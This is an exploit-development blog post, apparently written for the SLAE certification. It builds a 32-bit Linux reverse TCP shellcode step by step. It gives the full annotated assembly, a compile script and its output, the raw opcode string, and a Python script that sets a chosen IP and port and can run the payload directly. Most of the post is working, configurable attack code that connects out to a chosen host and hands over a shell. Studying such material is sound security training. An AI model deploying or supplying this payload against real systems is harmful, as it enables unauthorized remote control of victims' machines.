SLAE Assignment 2 - Shell Reverse Tcp
Introduction
Here is the second post of the SLAE exam assignments series.
This assignement is to create a a shell_reverse_tcp shellcode that connect to an ip and port and execs shell.
The ip address and port number should be easily configurable.
All the source code for this assignment can be find on my github repository
Shellcode overview
Because bind shell and reverse shell are very similar, a big part of this post is almost identical to my previous post on the shell bind tcp assignment.
The reverse
To connect to an host, we need to follow those steps :
- first we need to create a socket with the desired properties (here an IPv4, TCP socket)
- then connect to a specified address and port
We have two ways to do this :
- Using the socket and connect syscalls
- Or using the socketcall syscall
In the following, we will use the socketcall syscall.
And the shell
Once the connection is established, we need to redirect the standards i/o streams to it to be able to interact with the shell we will be executing.
To do so we need to duplicate the socket file descriptor and overwrite the stdin(0), stdout(1) and stderr(2) files descriptor, using dup2 syscall.
Then we can run our shell using the execve syscall.
The assembly code
A list of prototypes, associated headers files and manpages, special variables etc… that will be used to complete this assignment, can be find at the bottom of this post.
This shellcode will be Null byte free only if the ip address and port don’t contain Null bytes
Create a socket
We need to use the socketcall with SYS_SOCKET in EBX and ECX pointing to the socket function arguments on the stack.
These arguments need to be AF_INET, SOCK_STREAM and 0.
A socket file descriptor will be returned in EAX, we will save it in EDI for later use.
;socket(AF_INET, SOCK_STREAM, 0)
;socketcall(SYS_SOCKET, *socket_args)
xor ebx, ebx ; set ebx to 0
mul ebx ; set eax and edx to 0
push ebx ; 0 for the protocol argument
inc ebx
push ebx ; SOCK_STREAM
push byte 0x2 ; AF_INET
mov ecx, esp ; ecx points to the socket's arguments
add al, 0x66 ; socketcall
int 0x80
xchg edi, eax ; we save the sockfd returned by socket to edi
; (xchg is one byte opcode, so best than mov(2 bytes)
; because we dont care about eax value)
Connect to the remote host
We push the sockaddr structure on the stack, with values AF_INET, 0x3905 for port 1337 and 0x0100007f for ip address 127.0.0.1, and we save the address in ECX.
Next we need a pointer to the connect function’s arguments, so we push sockfd (in EDI), the address of the sockaddr structure (in ECX) and the addrlen value 0x10 then we copy the stack address in ECX for the socketcall call and we set EBX to SYS_CONNECT and EAX to the socketcall value.
On success, return 0 in EAX
;sockaddr{AF_INET, port, INADDR_ANY}
;connect(sockfd, *sockaddr, addrlen)
;socketcall(3, *args)
;return 0 if success
pop ebx ; ebx set to SYS_BIND
; 2 was the last value pushed on the stack
push 0x0100007f ; ip 127.0.0.1
push word 0x3905 ; port 1337
push bx ; AF_INET
mov ecx, esp ; ecx point to the sockaddr struct
push 0x10 ; sockaddr struct length
push ecx ; address to the sockaddr struct
push edi ; sockfd previously saved
mov ecx,esp ; ecx points to the connect's arguments
inc ebx ; 3 for SYS_CONNECT
push 0x66 ; socketcall
pop eax
int 0x80
Overwrite standard I/O
Here we need to overwrite all standards I/O with the socketfd.
So we make a loop to make three dup2 call with the values of stderr (2), stdout (1), stdin (0),
In this order so at the end we have ECX set to 0, and that will be usefull to gain some bytes for our shellcode length.
On success, return the new file descriptor in EAX (so 0 on the last call)
;dup2(sockfd, stderr)
;dup2(sockfd, stdout)
;dup2(sockfd, stdin])
xchg ecx, ebx ; ecx set to 3
xchg ebx, edi ; set ebx to sockfd
link:
dec ecx ; set ecx from 2 to 0 (stderr to stdin)
mov al,0x3f ; dup2 syscall value
int 0x80
jne link ; if ecx not equal to stdin, overwrite next standard i/o
Pop a shell
We push the “/bin//sh” string on the stack without forgetting the null byte, and we copy the address in EBX.
ECX and EDX are already set null point (0x00) so we can make an execve call.
We don’t care about a proper exit so we are done.
;execve("/bin//sh", NULL, NULL)
push eax ; string terminator 0x00
push 0x68732f2f ; push /bin//sh in reverse order
push 0x6e69622f
mov ebx,esp ; ebx point to /bin//sh
; ecx and edx already set to 0x00 (Null pointer)
mov al,0xb ; execve syscall number
int 0x80
Customise the port and exec the shellcode
Now we will compile and generate the shellcode using this script (I’ve done a little update on the string output since the last post) :
#!/bin/bash
printf "[x] Assembling...\n"
nasm -f elf32 $1.nasm -o $1.o
printf "[x] Linking...\n"
ld $1.o -o $1
printf "[x] Done !\n\n"
printf "Shellcode : \n"
objdump -d ./$1|grep '[0-9a-f]:'|grep -v 'file'|grep -v 'format'|cut -f2 -d:|cut -f1-6 -d' '|
tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
root@kali:~# ./compile.sh shell-reverse-tcp
[x] Assembling...
[x] Linking...
[x] Done !
Shellcode :
"\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\x04\\x66\\xcd\\x80\\x97\\x5b\\x68\\x7f\\x00\\x00\\x01
\\x66\\x68\\x05\\x39\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x87\\xcb
\\x87\\xdf\\x49\\xb0\\x3f\\xcd\\x80\\x75\\xf9\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3
\\xb0\\x0b\\xcd\\x80"
Next to customise the ip address and port, we will integrate this shellcode into a python script (updated too) :
#!/usr/bin/python3
# Demey Alexandre
# 2020-05-01
# PA-14186
from ctypes import CDLL, CFUNCTYPE, c_char_p, cast
from sys import argv
import argparse
from ipaddress import ip_address, AddressValueError
#Default port
port = 1337
#Default ip address
ip = "127.0.0.1"
# Setting the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-e", "--exec",
help="If set, the shellcode is printed to the screen then executed",
action="store_true")
parser.add_argument("-i", "--ip",
help="Change the ip address (Default:127.0.0.1) --ignored if bind type--")
parser.add_argument("-p", "--port", type=int,
help="Change the port (Default:1337)")
parser.add_argument("type", choices=["bind_tcp","reverse_tcp"],
help="Type of the shellcode")
args = parser.parse_args()
# Available shellcodes
shellcodes = {
'bind_tcp': "\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\x04\\x66\\xcd\\x80"\
"\\x97\\x5b\\x52\\x66\\x68{}\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x57\\x89"\
"\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x52\\x57\\x89\\xe1\\xd1\\xe3\\xb0\\x66\\xcd"\
"\\x80\\x52\\x52\\x57\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x93\\x6a\\x03\\x59"\
"\\x49\\xb0\\x3f\\xcd\\x80\\x75\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f"\
"\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80",
'reverse_tcp': "\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\x04\\x66\\xcd"\
"\\x80\\x97\\x5b\\x68{}\\x66\\x68{}\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51"\
"\\x57\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x87\\xcb\\x87\\xdf\\x49"\
"\\xb0\\x3f\\xcd\\x80\\x75\\xf9\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f"\
"\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80"}
# Change ip address if the ip argument is set
if args.ip:
ip = args.ip
#Format the ip address
try:
ip = "{0:0{1}x}".format(int(ip_address(ip)), 8)
ip = "\\x" + ip[:2] + "\\x" + ip[2:4] + "\\x" + ip[4:6] + "\\x" + ip[6:]
except AddressValueError:
print("Invalid IP address")
# Change port number if the port argument is set and valid
if args.port and args.port > 0 and args.port <= 65535:
port = args.port
# Format the port
port = "{0:0{1}x}".format(port,4)
port = "\\x" + port[:2] + "\\x" + port[2:]
# Set ip / port where necessary
shellcode_str = ""
if args.type == "bind_tcp":
shellcode_str = shellcodes[args.type].format(port)
elif args.type == "reverse_tcp":
shellcode_str = shellcodes[args.type].format(ip,port)
# Print the shellcode and his size
shellcode_bytes = bytes.fromhex(shellcode_str.replace('\\x',''))
print("Shellcode size : {}".format(len(shellcode_bytes)))
print('"{}"'.format(shellcode_str))
# If arg exec is set, execute the shellcode
if args.exec :
libc = CDLL("libc.so.6")
c_shell_p = c_char_p(shellcode_bytes)
launch = cast(c_shell_p, CFUNCTYPE(c_char_p))
launch()
Then we can use the script to change the default ip address, the default port and execute directly the shellcode :
Ressources
#man socketcall
int socketcall(int call, unsigned long *args);
#man socket
int socket(int domain, int type, int protocol);
#man 2 connect
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
#man dup2
int dup2(int oldfd, int newfd);
#man execve
int execve(const char *filename, char *const argv[], char *const envp[]);
#man 7 ip
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
#/usr/include/asm/unistd_32.h
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
#/usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
# cat /usr/include/bits/socket_type.h
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based
#define SOCK_STREAM SOCK_STREAM
#/usr/include/bits/socket.h
#define PF_INET 2 /* IP protocol family. */
#define AF_INET PF_INET
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186